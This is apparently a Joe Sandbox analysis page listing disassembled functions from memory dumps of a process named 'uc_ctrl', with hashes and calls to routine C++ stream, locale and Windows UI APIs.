Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo
String ID:
API String ID: 2959964966-0
Opcode ID: a937f18318f75b85481825c14e52d68142a51fe4f998de99a5d52ea3d0924f03
Instruction ID: 5b64873515cde6902ece3f2b5be1a6351a15b09fb7b953761a03e9a28e54edbb
Opcode Fuzzy Hash: a937f18318f75b85481825c14e52d68142a51fe4f998de99a5d52ea3d0924f03
Instruction Fuzzy Hash: 8C21C335600909DFEF05DF29C844A6DB7B6EFD5392B90C119E90D87314EBB8AD11CB91

Function 6C951E60 Relevance: 7.6, APIs: 5, Instructions: 92COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C951E67

Part of subcall function 6C94FE3E: __EH_prolog3.LIBCMT ref: 6C94FE45
Part of subcall function 6C94FE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C951749,?,00000001,00000008), ref: 6C94FE7A

?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,?,?,?,?,?,?,?,00000001,0000001C), ref: 6C951EBE
?sbumpc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,?,?,?,?,?,?,?,00000001,0000001C), ref: 6C951EF8
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000001,0000001C), ref: 6C951F92

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?sbumpc@?$basic_streambuf@_?setstate@?$basic_ios@_?sgetc@?$basic_streambuf@_G@std@@@std@@H_prolog3H_prolog3_catchIpfx@?$basic_istream@U?$char_traits@
String ID:
API String ID: 2971240588-0
Opcode ID: a0aeaae1a25b19142f8f109f32b61fa7008522f3e34aa7a5a371d38f35ed7147
Instruction ID: 7aea61e36b9975066ace7c4397b3b7282bc1f1f833e24afcf324a4cca9e8d998
Opcode Fuzzy Hash: a0aeaae1a25b19142f8f109f32b61fa7008522f3e34aa7a5a371d38f35ed7147
Instruction Fuzzy Hash: 7731AF70A006458FCB10CF59C5809AEBBF5FF66318BA4840AE856DBBA0D771EE65CB50

Function 6C6A0BF7 Relevance: 7.6, APIs: 5, Instructions: 92windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C6A0C01
IsWindow.USER32(?), ref: 6C6A0C20

Part of subcall function 6C67FBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6C67FBB9

Part of subcall function 6C6A054A: IsWindow.USER32(?), ref: 6C6A0555
Part of subcall function 6C6A054A: SendMessageW.USER32(?,00000146,00000000,00000000), ref: 6C6A0576
Part of subcall function 6C6A054A: SendMessageW.USER32(?,00000150,00000000,00000000), ref: 6C6A058A
Part of subcall function 6C6A054A: SendMessageW.USER32(?,00000146,00000000,00000000), ref: 6C6A05B7
Part of subcall function 6C6A054A: SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 6C6A05CB

Part of subcall function 6C6F698E: __EH_prolog3.LIBCMT ref: 6C6F6995

Part of subcall function 6C6F47BA: SendMessageW.USER32(00000000,00000147,00000000,00000000), ref: 6C6F47E4

Part of subcall function 6C67A044: __EH_prolog3.LIBCMT ref: 6C67A0F2

Part of subcall function 6C6F480E: SendMessageW.USER32(00000000,00000147,00000000,00000000), ref: 6C6F4838
Part of subcall function 6C6F480E: SendMessageW.USER32(00000000,00000150,?,00000000), ref: 6C6F4859

SendMessageW.USER32(?,00000158,000000FF,?), ref: 6C6A0CB7
SendMessageW.USER32(?,00000143,00000000,?), ref: 6C6A0CF5
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 6C6A0D05

Part of subcall function 6C6A0414: __EH_prolog3.LIBCMT ref: 6C6A041B

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: MessageSend$H_prolog3$Window$Exception@8H_prolog3_Throw
String ID:
API String ID: 1839825105-0
Opcode ID: 6f069859cd510cc6f296cb760755215fa59aca7a931a582cc85d466a2472b88b
Instruction ID: bf7919edc00ae32ce64bf15f2124455a3b53acd81f8789d75c1df797c81ec978
Opcode Fuzzy Hash: 6f069859cd510cc6f296cb760755215fa59aca7a931a582cc85d466a2472b88b
Instruction Fuzzy Hash: F731C63150429CABDF159FB0CC55BED77B5BF0A304F1005A8E556A2690DB709E85CB39

Function 6C957E70 Relevance: 7.6, APIs: 5, Instructions: 90COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C957E77

Part of subcall function 6C94FEDA: __EH_prolog3.LIBCMT ref: 6C94FEE1
Part of subcall function 6C94FEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C957779,?,00000001,00000008), ref: 6C94FF16

?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,00000001,00000024), ref: 6C957ED4
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,00000001,00000024), ref: 6C957F02
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,00000001,00000024), ref: 6C957F96

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?sbumpc@?$basic_streambuf@?setstate@?$basic_ios@_?sgetc@?$basic_streambuf@H_prolog3H_prolog3_catchIpfx@?$basic_istream@U?$char_traits@_W@std@@@std@@
String ID:
API String ID: 3292973016-0
Opcode ID: 747a2bd296643650dd3535cc6fdf8ef07b08410f4835fbe3b3ffc11eb1507fea
Instruction ID: d2a924b05d0f70d41e212d0d3f6b2254ba6731bb5051c0040e80146ce9ab02b1
Opcode Fuzzy Hash: 747a2bd296643650dd3535cc6fdf8ef07b08410f4835fbe3b3ffc11eb1507fea
Instruction Fuzzy Hash: 31319C74A10655CFC710DFA9C89089DBBF0BF25318B90C45EE8669BBA1D731EA65CF10

Function 6C6A0B01 Relevance: 7.6, APIs: 5, Instructions: 84keyboardwindowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 6C6A0B36
GetKeyState.USER32(00000012), ref: 6C6A0B64
GetKeyState.USER32(00000011), ref: 6C6A0B71
SendMessageW.USER32(?,00000157,00000000,00000000), ref: 6C6A0B86
SendMessageW.USER32(?,0000014F,00000001,00000000), ref: 6C6A0B9B

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: MessageSendState$Parent
String ID:
API String ID: 1284845784-0
Opcode ID: a2f09018f5d65b109beb72943a9826037250faadceebb65238974ab4b9a0e655
Instruction ID: 36c7c3a0d3052b47d2f77115a91194f4e866079b789d9fb4b15d6c9ba92c8753
Opcode Fuzzy Hash: a2f09018f5d65b109beb72943a9826037250faadceebb65238974ab4b9a0e655
Instruction Fuzzy Hash: 9D212C713056459BEF541EB58E54EAD76BDEB4774DB00013DE11793EA0DB619C02836C

Function 6C9509A0 Relevance: 7.6, APIs: 5, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C9509A7

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140 ref: 6C9509F0
?snextc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,0000001C), ref: 6C9509F7
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?,?,0000001C), ref: 6C950A28
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000004,00000000,?,0000001C), ref: 6C950ADA

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sgetc@?$basic_streambuf@_?snextc@?$basic_streambuf@_?sputc@?$basic_streambuf@_H_prolog3H_prolog3_catchV12@
String ID:
API String ID: 4023532899-0
Opcode ID: 8a46bbfdc41c37d706b32ff6058959402a8161fc8813ce0b78d4adf177537588
Instruction ID: 7cc44739d4df3215be9a9634d384d52cfd3ed02dcddcc2be829816242da5cf3f
Opcode Fuzzy Hash: 8a46bbfdc41c37d706b32ff6058959402a8161fc8813ce0b78d4adf177537588
Instruction Fuzzy Hash: BD31D175945285DFDB05CF98C1606EDBBB1BF6431CFA8906ED0849BB80CB74CA46C790

Function 6C69ACCC Relevance: 7.6, APIs: 5, Instructions: 81COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 6C69ACED
GetWindow.USER32(?,00000005), ref: 6C69AD25
GetWindowRect.USER32(?,00000000), ref: 6C69AD51

Part of subcall function 6C68617E: ScreenToClient.USER32(?,?), ref: 6C68618D
Part of subcall function 6C68617E: ScreenToClient.USER32(?,?), ref: 6C68619A

OffsetRect.USER32(00000000,00000000,?), ref: 6C69AD69

Part of subcall function 6C68D922: SetWindowPos.USER32(?,?,00000015,000000FF,000000FF,?,?,?,?,6C687FE1,00000000,?,?,000000FF,000000FF,00000015), ref: 6C68D94A

GetWindow.USER32(?,00000002), ref: 6C69AD89

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Window$ClientRectScreen$OffsetParent
String ID:
API String ID: 622029514-0
Opcode ID: b35f56b8db45dfbc463c36c6d29578e3590fbfdfed7262b6808e430219ab1229
Instruction ID: fc17fa09346499082308b51e24eb7e1b029d75530132c77d5efd75e2792ab3f3
Opcode Fuzzy Hash: b35f56b8db45dfbc463c36c6d29578e3590fbfdfed7262b6808e430219ab1229
Instruction Fuzzy Hash: D3219272E0170AABDF119BB4CD48FAEB7B8EF09329F100565E514A77A1DB30D904CB68

Function 6C956A20 Relevance: 7.6, APIs: 5, Instructions: 78COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C956A27

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140 ref: 6C956A6C
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,0000001C), ref: 6C956A73
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(00000000,?,0000001C), ref: 6C956A9C
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000004,00000000,?,0000001C), ref: 6C956B41

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$U?$char_traits@_W@std@@@std@@$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@?sputc@?$basic_streambuf@H_prolog3H_prolog3_catchV12@
String ID:
API String ID: 3750683343-0
Opcode ID: 9338a2f79f169bb70c29118ce21bda3d0d5066fee2f1f67e74b7e886849e46fc
Instruction ID: 4cc3c3d2451d6064da23789d777971effad82fc9e4259abde592942ea0385a1a
Opcode Fuzzy Hash: 9338a2f79f169bb70c29118ce21bda3d0d5066fee2f1f67e74b7e886849e46fc
Instruction Fuzzy Hash: 7D21CE75A45244DFDB14CFA8C4A0AEDBBB1AF65328F68825DD054AB7C1CB31CA46CB50

Function 6C952D10 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C952D17

Part of subcall function 6C94FE3E: __EH_prolog3.LIBCMT ref: 6C94FE45
Part of subcall function 6C94FE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C951749,?,00000001,00000008), ref: 6C94FE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000030), ref: 6C952D4B

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949BEB: __EH_prolog3.LIBCMT ref: 6C949BF2
Part of subcall function 6C949BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EAA0,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949BFD
Part of subcall function 6C949BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949C15
Part of subcall function 6C949BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949C79

std::locale::~locale.LIBCPMT ref: 6C952D60
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,00000000,00000001,00000002,?,?,?), ref: 6C952D9E
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000030), ref: 6C952E07

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3926143654-0
Opcode ID: e74454ac2ba30e9766890fb830cc99bb1f7f15fe0444d0130ee1a9753f8c4df0
Instruction ID: 94a466634b1e88fac78bc5561ba4c5b51a36ec5d6f91f880872afb75d17b46f3
Opcode Fuzzy Hash: e74454ac2ba30e9766890fb830cc99bb1f7f15fe0444d0130ee1a9753f8c4df0
Instruction Fuzzy Hash: AD318B70E011499FCB05CFA8C594AEEBBB9BF69318F64401AE409A7791DB30DA15CBA0

Function 6C952F10 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C952F17

Part of subcall function 6C94FE3E: __EH_prolog3.LIBCMT ref: 6C94FE45
Part of subcall function 6C94FE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C951749,?,00000001,00000008), ref: 6C94FE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000030), ref: 6C952F4B

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949BEB: __EH_prolog3.LIBCMT ref: 6C949BF2
Part of subcall function 6C949BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EAA0,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949BFD
Part of subcall function 6C949BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949C15
Part of subcall function 6C949BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949C79

std::locale::~locale.LIBCPMT ref: 6C952F60
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,00000000,00000001,00000002,?,?,?), ref: 6C952F9E
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000030), ref: 6C95300A

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3926143654-0
Opcode ID: a97402f1e0c7bb3ab14338724038494d6ca4ddbd5154b33c6b950006534dda86
Instruction ID: 270796b58c443debd8b27bd3ac61758e36d6ca03817dfebd04d21e79108ebeac
Opcode Fuzzy Hash: a97402f1e0c7bb3ab14338724038494d6ca4ddbd5154b33c6b950006534dda86
Instruction Fuzzy Hash: BE31A070E01209EFCB05CFA4C594AEEBBB9FF68308F544069E405A7741DB31DA15CBA1

Function 6C955F50 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C955F57

Part of subcall function 6C94FE8C: __EH_prolog3.LIBCMT ref: 6C94FE93
Part of subcall function 6C94FE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C954999,?,00000001,00000008), ref: 6C94FEC8

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000030), ref: 6C955F8B

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949550: __EH_prolog3.LIBCMT ref: 6C949557
Part of subcall function 6C949550: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E5C0,?,?,00000000), ref: 6C949562
Part of subcall function 6C949550: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6C94957A
Part of subcall function 6C949550: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6C9495DE

std::locale::~locale.LIBCPMT ref: 6C955FA0
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,00000000,00000001,00000002,?,?,?), ref: 6C955FDE
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000030), ref: 6C956047

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_W@std@@@std@@$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchIpfx@?$basic_istream@_Lockit@std@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 350562734-0
Opcode ID: c3350459aac79e3448e28af61cf8a637cf5df531a0fedd8eae9abff990b07b7e
Instruction ID: 4b53038288c96714c7caef97f29f591b2aad1b0be0e4eb73f6a139d82c63558b
Opcode Fuzzy Hash: c3350459aac79e3448e28af61cf8a637cf5df531a0fedd8eae9abff990b07b7e
Instruction Fuzzy Hash: 1F316F70E01109DFCB05CFA8C594AEEBBB9BF69358F64401AE005A7781D770DA15CBA1

Function 6C958C20 Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C958C27

Part of subcall function 6C94FEDA: __EH_prolog3.LIBCMT ref: 6C94FEE1
Part of subcall function 6C94FEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C957779,?,00000001,00000008), ref: 6C94FF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,00000030), ref: 6C958C5A

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93AFBD: __EH_prolog3.LIBCMT ref: 6C93AFC4
Part of subcall function 6C93AFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C937FBA,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93AFCF
Part of subcall function 6C93AFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93AFE7
Part of subcall function 6C93AFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93B04B

std::locale::~locale.LIBCPMT ref: 6C958C6F
